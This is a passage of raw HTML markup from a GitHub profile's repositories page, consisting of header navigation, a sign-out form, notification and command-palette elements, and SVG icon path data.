/integrations/feature/collaborate /integrations/feature/ship showcases showcases_search showcases_landing /explore" href="/explore">Explore</a> <a class="js-selected-navigation-item Header-link d-block d-md-none py-2 py-md-3 border-top border-md-top-0 border-white-fade" data-ga-click="Header, click, Nav menu - item:workspaces context:user" data-turbo="false" data-selected-links="/codespaces /codespaces" href="/codespaces">Codespaces</a> <a class="js-selected-navigation-item Header-link d-block d-md-none py-2 py-md-3 border-top border-md-top-0 border-white-fade" data-ga-click="Header, click, Nav menu - item:Sponsors" data-hydro-click="{"event_type":"sponsors.button_click","payload":{"button":"HEADER_SPONSORS_DASHBOARD","sponsorable_login":"chikitang","originating_url":"https://github.com/chikitang?tab=repositories","user_id":107093285}}" data-hydro-click-hmac="894b353f92ef9cf99df582a68ce68afedb950c23eac562794d264b04c4d7d514" data-turbo="false" data-selected-links=" /sponsors/accounts" href="/sponsors/accounts">Sponsors</a> <a class="Header-link d-block d-md-none mr-0 mr-md-3 py-2 py-md-3 border-top border-md-top-0 border-white-fade" data-turbo="false" href="/settings/profile">Settings</a> <a class="Header-link d-block d-md-none mr-0 mr-md-3 py-2 py-md-3 border-top border-md-top-0 border-white-fade" data-turbo="false" href="/chikitang"> <img class="avatar avatar-user" loading="lazy" decoding="async" src="https://avatars.githubusercontent.com/u/107093285?s=40&v=4" width="20" height="20" alt="@chikitang" /> chikitang </a> <!-- '"` --><!-- </textarea></xmp> --></option></form><form data-turbo="false" action="/logout" accept-charset="UTF-8" method="post"><input type="hidden" name="authenticity_token" value="7Jd6yI5THWDg_FkIJV1Ds7qiCFaoX_Hvj-TdaYW6DwuhdateNViXxoS146e9dSd4uNbU3k2j7jqyorRzKNOZEQ" /> <button type="submit" class="Header-link mr-0 mr-md-3 py-2 py-md-3 border-top border-md-top-0 border-white-fade d-md-none btn-link d-block width-full text-left" style="padding-left: 2px;" data-analytics-event="{"category":"Header","action":"sign out","label":"icon:logout"}" > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-sign-out v-align-middle"> <path fill-rule="evenodd" d="M2 2.75C2 1.784 2.784 1 3.75 1h2.5a.75.75 0 010 1.5h-2.5a.25.25 0 00-.25.25v10.5c0 .138.112.25.25.25h2.5a.75.75 0 010 1.5h-2.5A1.75 1.75 0 012 13.25V2.75zm10.44 4.5H6.75a.75.75 0 000 1.5h5.69l-1.97 1.97a.75.75 0 101.06 1.06l3.25-3.25a.75.75 0 000-1.06l-3.25-3.25a.75.75 0 10-1.06 1.06l1.97 1.97z"></path> </svg> Sign out </button> </form></nav> </div> <div class="Header-item Header-item--full flex-justify-center d-md-none position-relative"> <a class="Header-link " href="https://github.com/" data-hotkey="g d" aria-label="Homepage " data-turbo="false" data-analytics-event="{"category":"Header","action":"go to dashboard","label":"icon:logo"}" > <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github v-align-middle"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path> </svg> </a> </div> <div class="Header-item mr-0 mr-md-3 flex-order-1 flex-md-order-none"> <notification-indicator class="js-socket-channel" data-test-selector="notifications-indicator" data-channel="eyJjIjoibm90aWZpY2F0aW9uLWNoYW5nZWQ6MTA3MDkzMjg1IiwidCI6MTY1NDY2MTY3M30=--d1a31430da7c3a208906377c76b5480a6b4db38284d899049601dbe9bf1e1be6"> <a href="/notifications" class="Header-link notification-indicator position-relative tooltipped tooltipped-sw" aria-label="You have no unread notifications" data-hotkey="g n" data-ga-click="Header, go to notifications, icon:read" data-target="notification-indicator.link"> <span class="mail-status " data-target="notification-indicator.modifier"></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell"> <path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path> </svg> </a> </notification-indicator> </div> <div class="Header-item position-relative d-none d-md-flex"> <details class="details-overlay details-reset"> <summary class="Header-link" aria-label="Create new…" data-analytics-event="{"category":"Header","action":"create new","label":"icon:add"}" > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-plus"> <path fill-rule="evenodd" d="M7.75 2a.75.75 0 01.75.75V7h4.25a.75.75 0 110 1.5H8.5v4.25a.75.75 0 11-1.5 0V8.5H2.75a.75.75 0 010-1.5H7V2.75A.75.75 0 017.75 2z"></path> </svg> <span class="dropdown-caret"></span> </summary> <details-menu class="dropdown-menu dropdown-menu-sw"> <a role="menuitem" class="dropdown-item" href="/new" data-ga-click="Header, create new repository"> New repository </a> <a role="menuitem" class="dropdown-item" href="/new/import" data-ga-click="Header, import a repository"> Import repository </a> <a role="menuitem" class="dropdown-item" href="https://gist.github.com/" data-ga-click="Header, create new gist"> New gist </a> <a role="menuitem" class="dropdown-item" href="/organizations/new" data-ga-click="Header, create new organization"> New organization </a> <a role="menuitem" class="dropdown-item" href="/users/chikitang/projects/new?type=beta" data-ga-click="Header, create new project"> New project </a> </details-menu> </details> </div> <div class="Header-item position-relative mr-0 d-none d-md-flex"> <details class="details-overlay details-reset js-feature-preview-indicator-container" data-feature-preview-indicator-src="/users/chikitang/feature_preview/indicator_check"> <summary class="Header-link" aria-label="View profile and more" data-analytics-event="{"category":"Header","action":"show menu","label":"icon:avatar"}" > <img src="https://avatars.githubusercontent.com/u/107093285?s=40&v=4" alt="@chikitang" size="20" height="20" width="20" data-view-component="true" class="avatar avatar-small circle" /> <span class="unread-indicator js-feature-preview-indicator" style="top: 1px;" hidden></span> <span class="dropdown-caret"></span> </summary> <details-menu class="dropdown-menu dropdown-menu-sw" style="width: 180px" preload> <include-fragment src="/users/107093285/menu" loading="lazy"> <p class="text-center mt-3" data-hide-on-error> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /> </svg> </p> <p class="ml-1 mb-2 mt-2 color-fg-default" data-show-on-error> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path> </svg> Sorry, something went wrong. </p> </include-fragment> </details-menu> </details> </div> </header> </div> <div id="start-of-content" class="show-on-focus"></div> <div data-pjax-replace id="js-flash-container"> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path> </svg> </button> <div>{{ message }}</div> </div> </div> </template> </div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <details class="details-reset details-overlay details-overlay-dark js-command-palette-dialog" data-pjax-replace id="command-palette-pjax-container" > <summary aria-label="command palette trigger"> </summary> <details-dialog class="command-palette-details-dialog d-flex flex-column flex-justify-center height-fit" aria-label="command palette"> <command-palette class="command-palette color-bg-default rounded-3 border color-shadow-small" data-return-to=/chikitang?tab=repositories data-user-id="107093285" data-activation-hotkey="Mod+k,Mod+Alt+k" data-command-mode-hotkey="Mod+Shift+k" data-action=" command-palette-page-stack-updated:command-palette#updateInputScope itemsUpdated:command-palette#itemsUpdated keydown:command-palette#onKeydown loadingStateChanged:command-palette#loadingStateChanged selectedItemChanged:command-palette#selectedItemChanged pageFetchError:command-palette#pageFetchError "> <command-palette-mode data-char="#" data-scope-types="[""]" data-placeholder="Search issues and pull requests" ></command-palette-mode> <command-palette-mode data-char="#" data-scope-types="["owner","repository"]" data-placeholder="Search issues, pull requests, discussions, and projects" ></command-palette-mode> <command-palette-mode data-char="!" data-scope-types="["owner","repository"]" data-placeholder="Search projects" ></command-palette-mode> <command-palette-mode data-char="@" data-scope-types="[""]" data-placeholder="Search or jump to a user, organization, or repository" ></command-palette-mode> <command-palette-mode data-char="@" data-scope-types="["owner"]" data-placeholder="Search or jump to a repository" ></command-palette-mode> <command-palette-mode data-char="/" data-scope-types="["repository"]" data-placeholder="Search files" ></command-palette-mode> <command-palette-mode data-char="?" ></command-palette-mode> <command-palette-mode data-char=">" data-placeholder="Run a command" ></command-palette-mode> <command-palette-mode data-char="" data-scope-types="[""]" data-placeholder="Search or jump to..." ></command-palette-mode> <command-palette-mode data-char="" data-scope-types="["owner"]" data-placeholder="Search or jump to..." ></command-palette-mode> <command-palette-mode class="js-command-palette-default-mode" data-char="" data-placeholder="Search or jump to..." ></command-palette-mode> <command-palette-input placeholder="Search or jump to..." data-action=" command-palette-input:command-palette#onInput command-palette-select:command-palette#onSelect command-palette-descope:command-palette#onDescope command-palette-cleared:command-palette#onInputClear " > <div class="js-search-icon d-flex flex-items-center mr-2" style="height: 26px"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search color-fg-muted"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path> </svg> </div> <div class="js-spinner d-flex flex-items-center mr-2 color-fg-muted" hidden> <svg aria-label="Loading" class="anim-rotate" viewBox="0 0 16 16" fill="none" width="16" height="16"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" ></circle> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" ></path> </svg> </div> <command-palette-scope > <div data-target="command-palette-scope.placeholder" hidden class="color-fg-subtle">/  <span class="text-semibold color-fg-default">...</span>  /  </div> <command-palette-token data-text="chikitang" data-id="U_kgDOBmIdJQ" data-type="owner" data-value="chikitang" data-targets="command-palette-scope.tokens" class="color-fg-default text-semibold" style="white-space:nowrap;line-height:20px;" >chikitang<span class="color-fg-subtle text-normal">  /  </span></command-palette-token> </command-palette-scope> <div class="command-palette-input-group flex-1 form-control border-0 box-shadow-none" style="z-index: 0"> <div class="command-palette-typeahead position-absolute d-flex flex-items-center Truncate"> <span class="typeahead-segment input-mirror" data-target="command-palette-input.mirror"></span> <span class="Truncate-text" data-target="command-palette-input.typeaheadText"></span> <span class="typeahead-segment" data-target="command-palette-input.typeaheadPlaceholder"></span> </div> <input class="js-overlay-input typeahead-input d-none" disabled tabindex="-1" aria-label="Hidden input for typeahead" > <input type="text" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false" class="js-input typeahead-input form-control border-0 box-shadow-none input-block width-full no-focus-indicator" aria-label="Command palette input" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="command-palette-page-stack" role="combobox" data-action=" input:command-palette-input#onInput keydown:command-palette-input#onKeydown " > </div> <button aria-label="clear command palette" aria-keyshortcuts="Control+Backspace" data-action="click:command-palette-input#onClear keypress:command-palette-input#onClear" data-target="command-palette-input.clearButton" id="command-palette-clear-button" hidden="hidden" type="button" data-view-component="true" class="btn-octicon command-palette-input-clear-button"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x-circle-fill"> <path fill-rule="evenodd" d="M2.343 13.657A8 8 0 1113.657 2.343 8 8 0 012.343 13.657zM6.03 4.97a.75.75 0 00-1.06 1.06L6.94 8 4.97 9.97a.75.75 0 101.06 1.06L8 9.06l1.97 1.97a.75.75 0 101.06-1.06L9.06 8l1.97-1.97a.75.75 0 10-1.06-1.06L8 6.94 6.03 4.97z"></path> </svg></button> <tool-tip hidden="hidden" for="command-palette-clear-button" data-direction="w" data-type="description" data-view-component="true">Clear</tool-tip> </command-palette-input> <command-palette-page-stack data-default-scope-id="U_kgDOBmIdJQ" data-default-scope-type="User" data-action="command-palette-page-octicons-cached:command-palette-page-stack#cacheOcticons" > <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">#</kbd> to search pull requests </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">#</kbd> to search issues </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["owner","repository"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">#</kbd> to search discussions </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["owner","repository"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">!</kbd> to search projects </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["owner"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">@</kbd> to search teams </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="[""]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">@</kbd> to search people and organizations </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type <kbd class="hx_kbd">></kbd> to activate command mode </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Go to your accessibility settings to change your keyboard shortcuts </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type author:@me to search your content </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type is:pr to filter to pull requests </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type is:issue to filter to issues </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["owner","repository"]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type is:project to filter to projects </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="color-fg-muted f6 px-3 py-1 my-2" data-scope-types="["","owner","repository"]" data-mode="#" data-value=""> <div class="d-flex flex-items-start flex-justify-between"> <div> <span class="text-bold">Tip:</span> Type is:open to filter to open content </div> <div class="ml-2 flex-shrink-0"> Type <kbd class="hx_kbd">?</kbd> for help and tips </div> </div> </command-palette-tip> <command-palette-tip class="mx-3 my-2 flash flash-error d-flex flex-items-center" data-scope-types="*" data-on-error> <div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path> </svg> </div> <div class="px-2"> We’ve encountered an error and some results aren't available at this time. Type a new search or try again later. </div> </command-palette-tip> <command-palette-tip class="h4 color-fg-default pl-3 pb-2 pt-3" data-on-empty data-scope-types="*" data-match-mode="[^?]|^$"> No results matched your search </command-palette-tip> <div hidden> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="arrow-right-color-fg-muted"> <svg height="16" class="octicon octicon-arrow-right color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.22 2.97a.75.75 0 011.06 0l4.25 4.25a.75.75 0 010 1.06l-4.25 4.25a.75.75 0 01-1.06-1.06l2.97-2.97H3.75a.75.75 0 010-1.5h7.44L8.22 4.03a.75.75 0 010-1.06z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="arrow-right-color-fg-default"> <svg height="16" class="octicon octicon-arrow-right color-fg-default" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.22 2.97a.75.75 0 011.06 0l4.25 4.25a.75.75 0 010 1.06l-4.25 4.25a.75.75 0 01-1.06-1.06l2.97-2.97H3.75a.75.75 0 010-1.5h7.44L8.22 4.03a.75.75 0 010-1.06z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="codespaces-color-fg-muted"> <svg height="16" class="octicon octicon-codespaces color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M2 1.75C2 .784 2.784 0 3.75 0h8.5C13.216 0 14 .784 14 1.75v5a1.75 1.75 0 01-1.75 1.75h-8.5A1.75 1.75 0 012 6.75v-5zm1.75-.25a.25.25 0 00-.25.25v5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25v-5a.25.25 0 00-.25-.25h-8.5zM0 11.25c0-.966.784-1.75 1.75-1.75h12.5c.966 0 1.75.784 1.75 1.75v3A1.75 1.75 0 0114.25 16H1.75A1.75 1.75 0 010 14.25v-3zM1.75 11a.25.25 0 00-.25.25v3c0 .138.112.25.25.25h12.5a.25.25 0 00.25-.25v-3a.25.25 0 00-.25-.25H1.75z"></path><path fill-rule="evenodd" d="M3 12.75a.75.75 0 01.75-.75h.5a.75.75 0 010 1.5h-.5a.75.75 0 01-.75-.75zm4 0a.75.75 0 01.75-.75h4.5a.75.75 0 010 1.5h-4.5a.75.75 0 01-.75-.75z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="copy-color-fg-muted"> <svg height="16" class="octicon octicon-copy color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="dash-color-fg-muted"> <svg height="16" class="octicon octicon-dash color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M2 7.75A.75.75 0 012.75 7h10a.75.75 0 010 1.5h-10A.75.75 0 012 7.75z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="file-color-fg-muted"> <svg height="16" class="octicon octicon-file color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 00.25-.25V6h-2.75A1.75 1.75 0 019 4.25V1.5H3.75zm6.75.062V4.25c0 .138.112.25.25.25h2.688a.252.252 0 00-.011-.013l-2.914-2.914a.272.272 0 00-.013-.011zM2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0113.25 16h-9.5A1.75 1.75 0 012 14.25V1.75z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="gear-color-fg-muted"> <svg height="16" class="octicon octicon-gear color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.429 1.525a6.593 6.593 0 011.142 0c.036.003.108.036.137.146l.289 1.105c.147.56.55.967.997 1.189.174.086.341.183.501.29.417.278.97.423 1.53.27l1.102-.303c.11-.03.175.016.195.046.219.31.41.641.573.989.014.031.022.11-.059.19l-.815.806c-.411.406-.562.957-.53 1.456a4.588 4.588 0 010 .582c-.032.499.119 1.05.53 1.456l.815.806c.08.08.073.159.059.19a6.494 6.494 0 01-.573.99c-.02.029-.086.074-.195.045l-1.103-.303c-.559-.153-1.112-.008-1.529.27-.16.107-.327.204-.5.29-.449.222-.851.628-.998 1.189l-.289 1.105c-.029.11-.101.143-.137.146a6.613 6.613 0 01-1.142 0c-.036-.003-.108-.037-.137-.146l-.289-1.105c-.147-.56-.55-.967-.997-1.189a4.502 4.502 0 01-.501-.29c-.417-.278-.97-.423-1.53-.27l-1.102.303c-.11.03-.175-.016-.195-.046a6.492 6.492 0 01-.573-.989c-.014-.031-.022-.11.059-.19l.815-.806c.411-.406.562-.957.53-1.456a4.587 4.587 0 010-.582c.032-.499-.119-1.05-.53-1.456l-.815-.806c-.08-.08-.073-.159-.059-.19a6.44 6.44 0 01.573-.99c.02-.029.086-.075.195-.045l1.103.303c.559.153 1.112.008 1.529-.27.16-.107.327-.204.5-.29.449-.222.851-.628.998-1.189l.289-1.105c.029-.11.101-.143.137-.146zM8 0c-.236 0-.47.01-.701.03-.743.065-1.29.615-1.458 1.261l-.29 1.106c-.017.066-.078.158-.211.224a5.994 5.994 0 00-.668.386c-.123.082-.233.09-.3.071L3.27 2.776c-.644-.177-1.392.02-1.82.63a7.977 7.977 0 00-.704 1.217c-.315.675-.111 1.422.363 1.891l.815.806c.05.048.098.147.088.294a6.084 6.084 0 000 .772c.01.147-.038.246-.088.294l-.815.806c-.474.469-.678 1.216-.363 1.891.2.428.436.835.704 1.218.428.609 1.176.806 1.82.63l1.103-.303c.066-.019.176-.011.299.071.213.143.436.272.668.386.133.066.194.158.212.224l.289 1.106c.169.646.715 1.196 1.458 1.26a8.094 8.094 0 001.402 0c.743-.064 1.29-.614 1.458-1.26l.29-1.106c.017-.066.078-.158.211-.224a5.98 5.98 0 00.668-.386c.123-.082.233-.09.3-.071l1.102.302c.644.177 1.392-.02 1.82-.63.268-.382.505-.789.704-1.217.315-.675.111-1.422-.364-1.891l-.814-.806c-.05-.048-.098-.147-.088-.294a6.1 6.1 0 000-.772c-.01-.147.039-.246.088-.294l.814-.806c.475-.469.679-1.216.364-1.891a7.992 7.992 0 00-.704-1.218c-.428-.609-1.176-.806-1.82-.63l-1.103.303c-.066.019-.176.011-.299-.071a5.991 5.991 0 00-.668-.386c-.133-.066-.194-.158-.212-.224L10.16 1.29C9.99.645 9.444.095 8.701.031A8.094 8.094 0 008 0zm1.5 8a1.5 1.5 0 11-3 0 1.5 1.5 0 013 0zM11 8a3 3 0 11-6 0 3 3 0 016 0z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="lock-color-fg-muted"> <svg height="16" class="octicon octicon-lock color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 4v2h-.25A1.75 1.75 0 002 7.75v5.5c0 .966.784 1.75 1.75 1.75h8.5A1.75 1.75 0 0014 13.25v-5.5A1.75 1.75 0 0012.25 6H12V4a4 4 0 10-8 0zm6.5 2V4a2.5 2.5 0 00-5 0v2h5zM12 7.5h.25a.25.25 0 01.25.25v5.5a.25.25 0 01-.25.25h-8.5a.25.25 0 01-.25-.25v-5.5a.25.25 0 01.25-.25H12z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="moon-color-fg-muted"> <svg height="16" class="octicon octicon-moon color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M9.598 1.591a.75.75 0 01.785-.175 7 7 0 11-8.967 8.967.75.75 0 01.961-.96 5.5 5.5 0 007.046-7.046.75.75 0 01.175-.786zm1.616 1.945a7 7 0 01-7.678 7.678 5.5 5.5 0 107.678-7.678z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="person-color-fg-muted"> <svg height="16" class="octicon octicon-person color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M10.5 5a2.5 2.5 0 11-5 0 2.5 2.5 0 015 0zm.061 3.073a4 4 0 10-5.123 0 6.004 6.004 0 00-3.431 5.142.75.75 0 001.498.07 4.5 4.5 0 018.99 0 .75.75 0 101.498-.07 6.005 6.005 0 00-3.432-5.142z"></path></svg> </div> <div data-targets="command-palette-page-stack.localOcticons" data-octicon-id="pencil-color-fg-muted"> <svg height="16" class="octicon octicon-pencil color-fg-muted" viewBox="0 0 16 16" version="1.1" width="16" aria-hidden="true"><path fill-rule="evenodd" d="M11.013 1.427a1.75 1.75 0 012.474 0l1.086 1.086a1.75 1.75 